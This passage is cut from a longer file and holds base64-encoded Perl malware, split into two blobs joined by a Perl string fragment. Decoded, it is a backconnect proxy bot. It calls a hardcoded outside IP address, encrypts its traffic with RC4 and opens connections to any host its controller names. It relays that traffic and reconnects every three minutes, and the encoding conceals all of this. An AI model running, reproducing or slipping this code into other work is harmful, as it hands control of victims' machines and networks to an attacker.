JCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJC